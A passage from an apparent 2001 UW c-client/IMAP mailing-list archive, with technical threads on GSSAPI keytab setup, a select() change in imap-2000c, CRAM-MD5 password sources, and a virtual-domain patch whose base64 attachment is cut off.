callback function to return the data. Look at the source code to see how it works. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jul 5 18:11:07 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Jul 2001 18:11:06 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f661B5D08810 for ; Thu, 5 Jul 2001 18:11:05 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 05 18:11:04 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f661B2u15816; Thu, 5 Jul 2001 18:11:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f661AvX06872; Thu, 5 Jul 2001 18:10:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f661AE093298 for ; Thu, 5 Jul 2001 18:10:14 -0700 Received: from srvr22.engin.umich.edu (root@srvr22.engin.umich.edu [141.213.75.21]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f661ADF13653 for ; Thu, 5 Jul 2001 18:10:13 -0700 Received: from maildev.engin.umich.edu (root@maildev.engin.umich.edu [141.213.40.99]) by srvr22.engin.umich.edu (8.9.3/8.9.1) with ESMTP id VAA20172; Thu, 5 Jul 2001 21:10:12 -0400 (EDT) Received: from localhost (cdrum@localhost [127.0.0.1]) by maildev.engin.umich.edu (8.9.3/8.9.1) with ESMTP id VAA06908; Thu, 5 Jul 2001 21:10:11 -0400 (EDT) Message-Id: Date: Thu, 5 Jul 2001 21:10:11 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Drumgoole To: Mark Crispin Cc: Subject: re: GSSAPI Authenticator help In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, thanks for your reply. That was the problem, our keytab file was named "keytab" instead of "krb5.keytab". thanks again! chris }To: Chris Drumgoole }Cc: imap@u.washington.edu }Subject: re: GSSAPI Authenticator help } }On Thu, 5 Jul 2001 19:32:27 -0400 (EDT), Chris Drumgoole wrote: }> When I try to connect to my imapd server, let's say, }> telnet hostname 143, I see this: }> * OK [CAPABILITY IMAP4 IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] blah blah... }> I noticed, there is no AUTH=GSSAPI. shouldn't that be there? } }Did you set up a keytab file (normally, /etc/krb5.keytab) for MIT Kerberos? }If you do not have a keytab file, then the IMAP server won't advertise GSSAPI. } }Note that you need both a krb5.conf and krb5.keytab for things to work, and }that the keytab file requires arrangement with the KDC management. } } From pinedev@shivax2.cac.washington.edu Fri Jul 13 09:52:14 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Jul 2001 09:52:14 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6DGqCD03668 for ; Fri, 13 Jul 2001 09:52:12 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jul 13 09:52:11 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6DGq9u10421; Fri, 13 Jul 2001 09:52:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6DGq1H10818; Fri, 13 Jul 2001 09:52:01 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6DGo0090318 for ; Fri, 13 Jul 2001 09:50:00 -0700 Received: from blue.int.wirex.com (cerebus.wirex.com [216.161.55.93]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6DGo0F03889 for ; Fri, 13 Jul 2001 09:50:00 -0700 Received: (from sarnold@localhost) by blue.int.wirex.com (8.11.0/8.11.0) id f6DGqW417180 for c-client@u.washington.edu; Fri, 13 Jul 2001 09:52:32 -0700 Message-Id: <20010713095232.Z893@wirex.com> Date: Fri, 13 Jul 2001 09:52:32 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sarnold@wirex.com To: c-client@u.washington.edu Subject: select change in 2000c Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [resending this email from the imap list -- several folks there suggested the c-client list may be more appropriate to imapd than the imap list. Sorry for the duplication.] Greetings; I am about to release an updated imap package for our users, and I wanted to see what changes are between 2000 and 2000c (the version I think we should ship at the moment). One of the changes worries me: - i = select (sock+1,0,&fds,&efds,ti ? &tmo : 0); + i = select (sock+1,&fds,0,&efds,ti ? &tmo : 0); This change is sort of non-trivial, and I would love to know what this change represents. The archives aren't terribly helpful, what with 'select' apparantly an IMAP command. :-/ The only thread that I think may be releated is here: http://www.washington.edu/imap/listarch/2000/msg00140.html Could someone please explain the reason for this change, simple enough that someone who doesn't know the uw-imap internals could understand? :) (Feel free to assume basic tcp/ip and programming, though.. :) Thanks! Seth Arnold The more complete change: diff -Naur imap-2000/src/osdep/unix/tcp_unix.c imap-2000c/src/osdep/unix/tcp_unix.c --- imap-2000/src/osdep/unix/tcp_unix.c Tue Oct 24 16:41:24 2000 +++ imap-2000c/src/osdep/unix/tcp_unix.c Tue Jul 10 17:14:27 2001 @@ -10,7 +10,7 @@ * Internet: MRC@CAC.Washington.EDU * * Date: 1 August 1988 - * Last Edited: 24 October 2000 + * Last Edited: 8 November 2000 * * The IMAP toolkit provided in this Distribution is * Copyright 2000 University of Washington. @@ -282,7 +282,7 @@ FD_SET (sock,&efds); do { /* block under timeout */ tmo.tv_sec = ti ? ti - now : 0; - i = select (sock+1,0,&fds,&efds,ti ? &tmo : 0); + i = select (sock+1,&fds,0,&efds,ti ? &tmo : 0); now = time (0); } while (((i < 0) && (errno == EINTR)) || (ti && !i && (ti > now))); if (i > 0) { /* success, make sure really connected */ @@ -300,12 +300,6 @@ return -1; } } - for (i = 65536; (i > 4096) && /* set receive buffer size to 64K */ - setsockopt (sock,SOL_SOCKET,SO_RCVBUF,(void *) &i,sizeof(i)); - i -= 1024); - for (i = 65536; (i > 4096) && /* set send buffer size to 64K */ - setsockopt (sock,SOL_SOCKET,SO_SNDBUF,(void *) &i,sizeof(i)); - i -= 1024); return sock; /* return the socket */ } ^L -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 14 15:29:07 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 14 Jul 2001 15:29:06 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6EMT5D10008 for ; Sat, 14 Jul 2001 15:29:05 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Jul 14 15:29:05 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6EMT2C30096; Sat, 14 Jul 2001 15:29:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6EMSep17396; Sat, 14 Jul 2001 15:28:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6EMPm099314 for ; Sat, 14 Jul 2001 15:25:48 -0700 Received: from mailhub.cns.ksu.edu (root@grunt.ksu.ksu.edu [129.130.12.17]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6EMPls17259 for ; Sat, 14 Jul 2001 15:25:47 -0700 Received: from unix1 (solarion@unix1.cc.ksu.edu [129.130.12.3]) by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id RAA02148 for ; Sat, 14 Jul 2001 17:25:46 -0500 (CDT) Received: by unix1 (SMI-8.6/1.34) id RAA14852; Sat, 14 Jul 2001 17:25:46 -0500 Message-Id: <20010714172545.B13415@ksu.edu> Date: Sat, 14 Jul 2001 17:25:46 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joseph Pingenot To: c-client@u.washington.edu Subject: CRAM-MD5 password database supplanting /etc/password's password Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-School: Kansas State University X-vi-or-emacs: vi X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. Reading through the documentation for imapd, it seems that, if the CRAM-MD5 password database exists, then the passwords for LOGIN also are taken from this (experimental evidence confirms this). Is there an easy way to have LOGIN use the passwords from /etc/password (or preferably from PAM), and at the same time have the CRAM-MD5 authentcation use /etc/cram-md5.pwd? If not, would this be a worthwhile project, and, if so, should I send patches to this list? Thanks! -Joseph -- Joseph Pingenot==========================================solarion@ksu.edu Student Unix Systems Administrator, Tel: +1 785 532 3517 Computing and Networking Services, Fax: +1 785 532 3515 Kansas State University -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 16 11:10:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Jul 2001 11:10:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6GIApD19705 for ; Mon, 16 Jul 2001 11:10:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 16 11:10:50 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GIAju31575; Mon, 16 Jul 2001 11:10:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6GIAVH33428; Mon, 16 Jul 2001 11:10:31 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GI74061022 for ; Mon, 16 Jul 2001 11:07:04 -0700 Received: from centonline.com ([204.238.52.24]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GI6ws31545 for ; Mon, 16 Jul 2001 11:07:02 -0700 Received: from cvis0.centonline.com (cvis0.centonline.com [204.238.52.4]) by centonline.com (8.11.0/8.11.0) with ESMTP id f6GHNbK08940; Mon, 16 Jul 2001 12:23:37 -0500 Message-Id: Date: Mon, 16 Jul 2001 13:10:32 -0500 (CDT) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: sarnold@wirex.com Cc: c-client@u.washington.edu Subject: RE: select change in 2000c In-Reply-To: <20010713095232.Z893@wirex.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Select is a basic TCP/IP call. While I haven't looked into the C-Client and IMAP sources for a while I have made some comments inline. Bill Suetholz On 13-Jul-01 sarnold@wirex.com wrote: > [resending this email from the imap list -- several folks there > suggested the c-client list may be more appropriate to imapd than the > imap list. Sorry for the duplication.] > > Greetings; I am about to release an updated imap package for our users, > and I wanted to see what changes are between 2000 and 2000c (the version > I think we should ship at the moment). > > One of the changes worries me: > - i = select (sock+1,0,&fds,&efds,ti ? &tmo : 0); This line doesn't check to see if anything is available for reading, instead it checks to see if any sockets are able to be written to. > + i = select (sock+1,&fds,0,&efds,ti ? &tmo : 0); This line checks to see if any file descriptors have any data waiting to be read, and doesn't check to see if any sockets can be written to. > > This change is sort of non-trivial, and I would love to know what this > change represents. The archives aren't terribly helpful, what with > 'select' apparantly an IMAP command. :-/ The only thread that I think > may be releated is here: > http://www.washington.edu/imap/listarch/2000/msg00140.html > > Could someone please explain the reason for this change, simple enough > that someone who doesn't know the uw-imap internals could understand? :) > (Feel free to assume basic tcp/ip and programming, though.. :) > > Thanks! > Seth Arnold > > > The more complete change: > diff -Naur imap-2000/src/osdep/unix/tcp_unix.c > imap-2000c/src/osdep/unix/tcp_unix.c > --- imap-2000/src/osdep/unix/tcp_unix.c Tue Oct 24 16:41:24 2000 > +++ imap-2000c/src/osdep/unix/tcp_unix.c Tue Jul 10 17:14:27 2001 > @@ -10,7 +10,7 @@ > * Internet: MRC@CAC.Washington.EDU > * > * Date: 1 August 1988 > - * Last Edited: 24 October 2000 > + * Last Edited: 8 November 2000 > * > * The IMAP toolkit provided in this Distribution is > * Copyright 2000 University of Washington. > @@ -282,7 +282,7 @@ > FD_SET (sock,&efds); > do { /* block under timeout */ > tmo.tv_sec = ti ? ti - now : 0; > - i = select (sock+1,0,&fds,&efds,ti ? &tmo : 0); > + i = select (sock+1,&fds,0,&efds,ti ? &tmo : 0); > now = time (0); > } while (((i < 0) && (errno == EINTR)) || (ti && !i && (ti > now))); > if (i > 0) { /* success, make sure really connected */ > @@ -300,12 +300,6 @@ > return -1; > } > } > - for (i = 65536; (i > 4096) && /* set receive buffer size to 64K */ > - setsockopt (sock,SOL_SOCKET,SO_RCVBUF,(void *) &i,sizeof(i)); > - i -= 1024); > - for (i = 65536; (i > 4096) && /* set send buffer size to 64K */ > - setsockopt (sock,SOL_SOCKET,SO_SNDBUF,(void *) &i,sizeof(i)); > - i -= 1024); > return sock; /* return the socket */ > } > ^L > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ ---------------------------------- E-Mail: wsuetholz@centonline.com Date: 16-Jul-01 Time: 13:06:06 This message was sent by XFMail ---------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jul 16 12:59:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Jul 2001 12:59:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6GJxUD25104 for ; Mon, 16 Jul 2001 12:59:30 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 16 12:59:29 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GJxLC17436; Mon, 16 Jul 2001 12:59:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6GJxHE24996; Mon, 16 Jul 2001 12:59:17 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GJw60123364 for ; Mon, 16 Jul 2001 12:58:06 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GJw5X15556 for ; Mon, 16 Jul 2001 12:58:05 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6GJw2u03402 for ; Mon, 16 Jul 2001 12:58:02 -0700 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id f6GK28W25765; Mon, 16 Jul 2001 17:02:09 -0300 Message-Id: <200107162002.f6GK28W25765@stratus.swi.com.br> Date: Mon, 16 Jul 2001 17:02:09 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@cac.washington.edu Cc: imapvpop@davideous.com Subject: Virtual Domain Patch MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------=_995313477-10097-0" X-Local-Destination: c-client@cac.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format... ------------=_995313477-10097-0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Hi I have worked over vpop patch from David Harris and update it to the latest stable imap (imap-2000c) with lots of updates. If anyone needs the patch for the latest devel version (snapshot) let me know as I will do it. As lots of people have asked (in imap list too) about virtual domain support I am posting it here, as it is the correct list for it (AFAIK). This patch adds the vpop interface to imapd. To compile it one should : $ make VPOP= where is the system being compiled (e.g. Linux with PAM support should be lnp) and is the VPOP interface to use. This patch contains the extmakemap VPOP interface. (so to compile it (linux with PAM): $ make lnp VPOP=extmakemap) This interfaces accepts usernames in the format user@domain in additional to the regular use. When the username is specified in the format user@domain, it will lookup the makemap utility from sendmail to get the real account in the system for the email user@domain and use it as if it was specified by the client. If not found it will look for a generic domain email (@domain) and if found use it. As a least resource it will strip the @domain and try with 'user' only. Note that If you aply the patch, but compile imap without the VPOP part, it will generate exactly the same binary as without the patch (this would allow easy integration with imap). VPOP allows two kinds of use: 1- translate usernames provided by a client to a real system user (as the extmakemap does) 2- provides an interface to a builtin authentication scheme 3- Allows multiple virtual email support with only one system account (securily) (usually done with 2) This means that anyone can add its one scheme without even patching imapd (or env_unix.c) or undestanding it. The files vpop.txt explains how to do it and vpop_extmakemap.txt explain the extmakemap interface. Also note that David Harris does not mantain the patch anymore, but he has a (outdated) site with some helpfull information about it at http://www.davideous.com I really hope that this helps (or enlights) those looking for a solution like this. btw, this patch was only tested on Linux, reports on other systems and patchs are welcomed. Regards, Raul Dias Speedway Internet Service ------------=_995313477-10097-0 Content-Type: application/octet-stream; name="imap-2000c-vpop-2.0.10.patch" Content-Disposition: inline; filename="imap-2000c-vpop-2.0.10.patch" Content-Transfer-Encoding: base64 ZGlmZiAtTnJ1IGltYXAtMjAwMGMub3JpZy9NYWtlZmlsZSBpbWFwLTIwMDBj LXZwb3AuY29tcGlsZS9NYWtlZmlsZQotLS0gaW1hcC0yMDAwYy5vcmlnL01h a2VmaWxlCVR1ZSBKYW4gMjMgMjE6NTA6MzYgMjAwMQorKysgaW1hcC0yMDAw Yy12cG9wLmNvbXBpbGUvTWFrZWZpbGUJTW9uIEp1bCAxNiAxNToyOTo0MiAy MDAxCkBAIC0yOTEsNyArMjkxLDIwIEBACiBTUEVDSUFMUz1HU1NESVI9JChH U1NESVIpCiAjICoqKiBURU1QT1JBUlkgRk9SIFBJTkUgQlVJTEQgKioqCiAK LQorIyBWUE9QPbR0eXBltAorIyAgICAgICBDb21waWxlcyB3aXRoIHN1cHBv cnQgZm9yIHZwb3AuICBUaGUgdHlwZSBzcGVjaWZpZXMgd2hpY2ggCisjICAg ICAgIHZwb3AgaW1wbGVtZW50YXRpb24gdG8gdXNlLiAgUmlnaHQgbm93IHRo ZSBvbmx5IGltcGxlbWVudGF0aW9uIGlzCisjICAgICAgILS0ZXh0bWFrZW1h cLS0LgorVlBPUD0KKyMgtGV4dG1ha2VtYXC0IFZQT1AgZGF0YQorVlBPUF9F WFRNQUtFTUFQX1NSQz12cG9wX2V4dG1ha2VtYXAuYworCitpZmVxICgkKFZQ T1ApLGV4dG1ha2VtYXApCisJVlBPUF9TUkM9JChWUE9QX0VYVE1BS0VNQVBf U1JDKQorZWxzZQorCVZQT1BfU1JDPQorZW5kaWYKKwkKICMgTm9ybWFsIGNv bW1hbmRzCiAKIENBVD1jYXQKQEAgLTMwNCw3ICszMTcsNyBAQAogU1lTVEVN PXVuaXgKIFRPT0xTPXRvb2xzCiBUT1VDSD10b3VjaAotCitDUD1jcCAtZgog CiAjIFByaW1hcnkgYnVpbGQgY29tbWFuZAogCkBAIC00MjEsNiArNDM0LDkg QEAKIAogYW4gdWE6CiAJQGVjaG8gQXBwbHlpbmcgJEAgcHJvY2VzcyB0byBz b3VyY2VzLi4uCitpZmRlZiBWUE9QCisJJChDUCkgc3JjL29zZGVwLyQoU1lT VEVNKS8kKFZQT1BfU1JDKSBzcmMvb3NkZXAvJChTWVNURU0pL3Zwb3AuYwor ZW5kaWYKIAkkKFRPT0xTKS8kQCAiJChMTikiIHNyYy9jLWNsaWVudCBjLWNs aWVudAogCSQoVE9PTFMpLyRAICIkKExOKSIgc3JjL2Fuc2lsaWIgYy1jbGll bnQKIAkkKFRPT0xTKS8kQCAiJChMTikiIHNyYy9jaGFyc2V0IGMtY2xpZW50 CkBAIC00MzAsNiArNDQ2LDcgQEAKIAkkKFRPT0xTKS8kQCAiJChMTikiIHNy Yy9pcG9wZCBpcG9wZAogCSQoVE9PTFMpLyRAICIkKExOKSIgc3JjL2ltYXBk IGltYXBkCiAJJChMTikgJChUT09MUykvJEAgLgorCQogCiBidWlsZDoJT1NU WVBFIHJlYnVpbGQgcmVidWlsZGNsZWFuIGJ1bmRsZWQKIApAQCAtNDQyLDcg KzQ1OSw3IEBACiAJIEVYVFJBQVVUSEVOVElDQVRPUlM9JyQoRVhUUkFBVVRI RU5USUNBVE9SUyknXAogCSBTUEVDSUFMQVVUSEVOVElDQVRPUlM9JyQoU1BF Q0lBTEFVVEhFTlRJQ0FUT1JTKSdcCiAJIFBBU1NXRFRZUEU9JChQQVNTV0RU WVBFKVwKLQkgJChTUEVDSUFMUykgJChFWFRSQVNQRUNJQUxTKQorCSAkKFNQ RUNJQUxTKSAkKEVYVFJBU1BFQ0lBTFMpIFZQT1A9JChWUE9QKQogCWVjaG8g JChPUykgPiBPU1RZUEUKIAkkKFRPVUNIKSByZWJ1aWxkCiAKQEAgLTQ2NSw2 ICs0ODIsNyBAQAogCUBlY2hvIFJlbW92aW5nIG9sZCBwcm9jZXNzZWQgc291 cmNlcyBhbmQgYmluYXJpZXMuLi4KIAlzaCAtYyAnJChSTSkgYW4gdWEgT1NU WVBFIGMtY2xpZW50IG10ZXN0IGltYXBkIGlwb3BkIHx8IHRydWUnCiAJJChD RCkgdG9vbHM7JChNQUtFKSBjbGVhbgorCXNoIC1jICckKFJNKSBzcmMvb3Nk ZXAvJChTWVNURU0pL3Zwb3AuYyB8fCB0cnVlJwogCiAKICMgQSBtb251bWVu dCB0byBhIGhhY2sgb2YgbG9uZyBhZ28gYW5kIGZhciBhd2F5Li4uCmRpZmYg LU5ydSBpbWFwLTIwMDBjLm9yaWcvZG9jcy92cG9wLnR4dCBpbWFwLTIwMDBj LXZwb3AuY29tcGlsZS9kb2NzL3Zwb3AudHh0Ci0tLSBpbWFwLTIwMDBjLm9y aWcvZG9jcy92cG9wLnR4dAlXZWQgRGVjIDMxIDIxOjAwOjAwIDE5NjkKKysr IGltYXAtMjAwMGMtdnBvcC5jb21waWxlL2RvY3MvdnBvcC50eHQJTW9uIEp1 bCAxNiAxNTowMTo1MiAyMDAxCkBAIC0wLDAgKzEsMTU2IEBACitTdXBvcnQg Zm9yIHZpcnR1YWwgZG9tYWlucyAvIHZpcnR1YWwgdXNlcnMgaW4gaW1hcCB0 b29sa2l0CisKK0lOU1RBTEFUSU9OCistLS0tLS0tLS0tLQorCitUbyBjb21w aWxlIHZwb3Agc3VwcG9ydCB3aXRoIGltYXBkLCBkbzoKKyQgbWFrZSA8c3lz dGVtPiBWUE9QPTx2cG9wX3R5cGU+CisKK3doZXJlIHN5c3RlbSBpcyB5b3Vy IGRlZmF1bHQgc3lzdGVtCisoZS5nLiBsbnAsIHNseCwgLi4uKQorCithbmQg dnBvcF90eXBlIGlzIHdoYXQgdnBvcCBpbnRlcmZhY2UgdG8gdXNlLgordGhl IG9ubHkgdHlwZSByaWdodCBub3cgaXMgZXh0bWFrZW1hcC4KK0ZvciBtb3Jl IGluZm8gYWJvdXQgZXh0bWFrZW1hcCBzZWUgdGhlIHZwb3BfZXh0bWFrZW1h cC50eHQgZmlsZS4KKworU28sIHRvIGNvbXBpbGUgaW4gYSBMaW51eCBzeXN0 ZW0gd2l0aCBQQU0gc3VwcG9ydAordGhlIGV4dG1ha2VtYXAgdnBvcCB0eXBl LCB5b3Ugc2hvdWxkIGNhbGw6CisKKyQgbWFrZSBsbnAgVlBPUD1leHRtYWtl bWFwCisKK1RoZSB2cG9wIGltcGxlbWVudGF0aW9uIHdhcyBkZXNpZ25lZCBp biBhIHdheSB0byBub3QgaW50ZXJmZXJlIGluIGEgcmVndWxhcgoraW1hcCB0 b29sa2l0IGNvbXBpbGUuCisKK1NvIGlmIHRoZSBWUE9QPTx0eXBlPiBwYXJ0 IGlzIG5vdCBzcGVjaWZpZWQsIGltYXBkIHdpbGwgYnVpbGQgdGhlIHNhbWUg CitiaW5uYXJ5IGFzIHdpdGhvdXQgdGhlIHBhdGNoLgorCisKKworSU1QTEVN RU5UQVRJT04gKGRldmVsb3BlcnMpCistLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0KKworVGhlIHZwb3AgY2FuIHdvcmsgaW4gdHdvIHdheXMuCisKK0Zp cnN0IGFzIGFuIGF1dGhlbnRpY2F0b3Igd2hlcmUgaXQgdXNlcyBhIGJ1aWx0 LWluIGF1dGhlbnRpY2F0aW9uIHNjaGVtZSBhbmQgYWxsb3cKK25vbi1zeXN0 ZW0gdXNlcnMgZW1haWwgYWNjb3VudHMgdXNpbmcgb25seSBvbmUgdmFsaWQg c3lzdGVtIGFjY291bnRzLgorCitUaGUgb3RoZXIgd2F5IGlzIGFzIGFuIHVz ZXIgdHJhbnNsYXRvci4gIFdoaWNoIGFsbG93cyB0aGUgdHJhbnNsYXRpb24g b2YgYSAKK3NwZWNpZmllZCB1c2VybmFtZSB0byBhIHZhbGlkIHN5c3RlbSB1 c2VyIGFjY291bnQuIChoaW50LCBoaW50OiB2aXJ0dWFsIGRvbWFpbnMpLgor CitUbyBkbyB0aGlzLCB5b3UgaGF2ZSB0byBjcmVhdGUgYSBmaWxlIG5hbWVk IHZwb3BfPHlvdXJfZXh0ZW5zaW9uPi5jIC4KKworYW5kIGl0IGhhcyB0byBj b250YWluIGF0IGxlYXN0IHR3byBmdW5jdGlvbnM6Cit2cG9wX191c2VyYXV0 aGVuICh3aGljaCBkb2VzIHRoZSBhdXRoZW50aWNhdGlvbi90cmFuc2xhdGlv bikgYW5kCit2cG9wX19mcmVlICh3aGljaCBmcmVlcyB0aGUgbWVtb3J5IHVz ZWQgYnkgdnBvcCBvYmplY3RzKS4KKwordGhlIGZvbGxvd2luZyBub3RlcyB3 ZXJlIGFkcGF0ZWQgZnJvbSBhbiBlbWFpbCBmcm9tIERhdmlkIEhhcnJpcyA8 ZGhhcnJpc0BkYXZpZGVvdXMuY29tPjoKKworCistLS0tIGJlZ2luIGludGVy ZmFjZSBkZXNjcmlwdGlvbiAtLS0tLSAKKworSGVyZSBpcyB0aGUgcmVsZXZh bnQgZGF0YSBmcm9tIHZwb3AuaDogCisKK3Zwb3BfX2RhdGEqIHZwb3BfX3Vz ZXJhdXRoZW4gKGNoYXIqIHVzZXJuYW1lLCBjaGFyKiBwYXNzd29yZCwgY2hh ciogCisJCQkJZGVmYXVsdF9iYXNlX3VzZXJuYW1lKTsgCisKK3R5cGVkZWYg c3RydWN0IHsKKyAgICBpbnQgdmFsaWRfZm9ybTsKKyAgICBpbnQgdmFsaWRf dXNlcjsKKyAgICBjaGFyKiB1bml4X3VzZXJuYW1lOworICAgIGNoYXIqIHZp cnR1YWxfdXNlcm5hbWU7CisgICAgY2hhciogYmxhY2tfYm94X2hvbWU7Cisg ICAgY2hhciogdHJhbnNsYXRlZF91c2VyOworICAgIGludCBhdXRoZW50aWNh dGVkOworICAgIGNoYXIqIGxvZ19lcnJvcjsKK30gIHZwb3BfX2RhdGE7IAor CitUaGUgZnVuY3Rpb24gdnBvcF9fdXNlcmF1dGhlbiBpcyBjYWxsZWQgd2hl 